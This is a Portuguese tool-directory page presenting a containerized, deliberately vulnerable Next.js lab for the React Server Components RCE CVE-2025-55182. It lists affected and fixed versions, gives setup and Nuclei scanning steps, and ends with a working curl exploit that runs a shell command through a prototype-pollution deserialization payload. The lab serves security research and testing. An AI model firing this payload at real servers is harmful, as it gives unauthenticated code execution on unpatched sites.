Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
React2Shell-CVE-2025-55182-Testing-Environment — Um ambiente de teste conteinerizado para CVE-2025-55182, uma vulnerabilidade crítica (10.0 CVSS) de Execução Remota de Código nos Componentes do Servidor React. | Kitploit
Ferramentas/GitHubGitHub/abcfabian/react2shell-cve-2025-55182-testing-environment
Segurança de ContêineresAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoLabs e Prática
GitHubabcfabian/react2shell-cve-2025-55182-testing-environment

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

React2Shell-CVE-2025-55182-Testing-Environment

Um ambiente de teste conteinerizado para CVE-2025-55182, uma vulnerabilidade crítica (10.0 CVSS) de Execução Remota de Código nos Componentes do Servidor React.

Ver Repositório
1há 8 mesesAinda não revisado

Ambiente de Teste React2Shell (CVE-2025-55182)

Um ambiente de teste containerizado para CVE-2025-55182, uma vulnerabilidade crítica (10.0 CVSS) de Execução Remota de Código nos Componentes de Servidor do React.

⚠️ AVISO

Este ambiente é intencionalmente vulnerável e deve ser usado APENAS para:

  • Pesquisa e educação em segurança
  • Testes de penetração em ambientes isolados
  • Compreensão dos mecanismos da vulnerabilidade

NÃO:

  • Implante isso em produção
  • Exponha isso à internet
  • Use para fins maliciosos

Detalhes da Vulnerabilidade

  • CVE: CVE-2025-55182 (React), CVE-2025-66478 (Next.js)
  • Severidade: Crítica (10.0)
  • Tipo: Execução Remota de Código não autenticada
  • Afetados: Componentes de Servidor do React no Roteador de Aplicativos do Next.js 15.x/16.x
  • Fraqueza: CWE-502 (Desserialização de Dados Não Confiáveis)

Versões Afetadas

Pacotes React:

  • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-parcel: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • react-server-dom-turbopack: 19.0.0, 19.1.0, 19.1.1, 19.2.0

Next.js:

  • 15.0.0 - 15.0.4
  • 15.1.0 - 15.1.8
  • 15.2.0 - 15.2.5
  • 15.3.0 - 15.3.5
  • 15.4.0 - 15.4.7
  • 15.5.0 - 15.5.6
  • 16.0.0 - 16.0.6

Versões Corrigidas

React: 19.0.1, 19.1.2, 19.2.1 Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7

Início Rápido

Usando Podman (macOS)

root@kitploit:~
# Constrói e inicia o ambiente vulnerável
podman compose up --build -d

# Verifica se está funcionando
curl http://localhost:3000/api/status

# Visualiza logs
podman logs -f react2shell-vuln

# Para
podman compose down

Usando Docker Compose

root@kitploit:~
# Constrói e inicia o ambiente vulnerável
docker-compose up --build -d

# Acessa a aplicação em http://localhost:3000

Estrutura do Projeto

root@kitploit:~
.
├── README.md               # Este arquivo
├── Dockerfile              # Instruções de construção do container
├── Dockerfile.dev          # Container de desenvolvimento com recarregamento automático
├── docker-compose.yml      # Configuração do Docker/Podman Compose
├── CVE-2025-55182.yaml     # Template do scanner Nuclei
├── scan.sh                 # Script genérico do scanner Nuclei
├── scan-results/           # Diretório de saída da varredura
└── vulnerable-app/         # Aplicação Next.js vulnerável
    ├── package.json        # Dependências (versões vulneráveis)
    ├── next.config.js      # Configuração do Next.js
    ├── tsconfig.json       # Configuração do TypeScript
    └── app/                # Páginas e componentes do Roteador de Aplicativos
        ├── layout.tsx      # Layout raiz
        ├── page.tsx        # Página principal com Componentes de Servidor
        ├── globals.css     # Estilos
        ├── actions.ts      # Ações do Servidor
        ├── api/status/     # Endpoint da API de status
        └── components/     # Componentes React

Varredura da Vulnerabilidade

Baixar o Template Nuclei

Se você não tem o template, baixe-o do repositório oficial de templates nuclei:

root@kitploit:~
curl -o CVE-2025-55182.yaml https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2025/CVE-2025-55182.yaml

Usando o Script de Varredura

O scan.sh incluído é um scanner genérico de container Nuclei que funciona tanto com Docker quanto com Podman.

root@kitploit:~
# Escaneia a aplicação vulnerável local
./scan.sh -u http://host.docker.internal:3000 -t CVE-2025-55182.yaml -v

# Escaneia qualquer alvo
./scan.sh -u https://exemplo.com -t CVE-2025-55182.yaml

# Escaneia com todos os templates Nuclei
./scan.sh -u https://exemplo.com

# Escaneia múltiplos alvos a partir de um arquivo
./scan.sh -l alvos.txt -t CVE-2025-55182.yaml

# Filtra por severidade
./scan.sh -u https://exemplo.com -s critical,high

# Saída JSON
./scan.sh -u https://exemplo.com -t CVE-2025-55182.yaml -j

Opções do Scanner

Varredura Manual com Nuclei (Podman)

root@kitploit:~
podman run --rm \
    -v "$(pwd)/CVE-2025-55182.yaml:/templates/CVE-2025-55182.yaml:ro" \
    docker.io/projectdiscovery/nuclei:latest \
    -t /templates/CVE-2025-55182.yaml \
    -u "http://host.docker.internal:3000" \
    -v

Testando a Vulnerabilidade

Assim que o container estiver em execução:

  1. Acesse a aplicação em http://localhost:3000
  2. Verifique a API de status: http://localhost:3000/api/status
  3. Execute o scanner para verificar a detecção da vulnerabilidade
  4. A aplicação utiliza Componentes de Servidor do React através do Roteador de Aplicativos do Next.js

Nota: A vulnerabilidade envolve desserialização insegura no protocolo RSC. O template Nuclei testa esse vetor de ataque específico.

Alternando para a Versão Corrigida

Para testar a versão corrigida, modifique vulnerable-app/package.json:

root@kitploit:~
{
  "dependencies": {
    "next": "15.5.7",
    "react": "^19.1.2",
    "react-dom": "^19.1.2"
  }
}

Em seguida, reconstrua:

root@kitploit:~
# Podman
podman compose down
podman compose up --build -d

# Docker
docker-compose down
docker-compose up --build

Referências

  • Comunicado de Segurança do React
  • Comunicado de Segurança do Next.js
  • Postagem no Blog do React
  • react2shell.com
  • Templates Nuclei

Aviso Legal

Este ambiente de teste é fornecido apenas para fins educacionais e de pesquisa em segurança. Os mantenedores não são responsáveis por qualquer uso indevido deste software. Sempre obtenha autorização adequada antes de testar vulnerabilidades de segurança.

Exemplo de Exploit com Curl

root@kitploit:~
curl -X POST http://localhost:3000 \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary" \
  -H "X-Nextjs-Request-Id: test123" \
  --data-binary $'------WebKitFormBoundary\r\nContent-Disposition: form-data; name="0"\r\n\r\n{
  "then": "$1:__proto__:then",
  "status": "resolved_model",
  "reason": -1,
  "value": "{\\"then\\":\\"$B1337\\"}",
  "_response": {
    "_prefix":"var res=process.mainModule.require(\'child_process\').execSync(\'id\').toString().trim();;throw Object.assign(new Error(\'NEXT_REDIRECT\'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"
    }
  }
}\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="1"\r\n\r\n"$@0"\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name="2"\r\n\r\n[]\r\n------WebKitFormBoundary--' \
  -i 2>&1 | grep -i "x-action-redirect"
Baixar ferramenta
OpçãoDescrição
-u, --url <url>URL de um único alvo para escanear
-l, --list <arquivo>Arquivo contendo lista de URLs alvo
-t, --template <arquivo>Arquivo ou diretório de template personalizado
-o, --output <dir>Diretório de saída (padrão: ./scan-results)
-s, --severity <nível>Filtro: info, low, medium, high, critical
-r, --rate-limit <n>Máximo de requisições por segundo
-j, --jsonResultados em formato JSON
-v, --verboseSaída detalhada
-h, --helpExibe mensagem de ajuda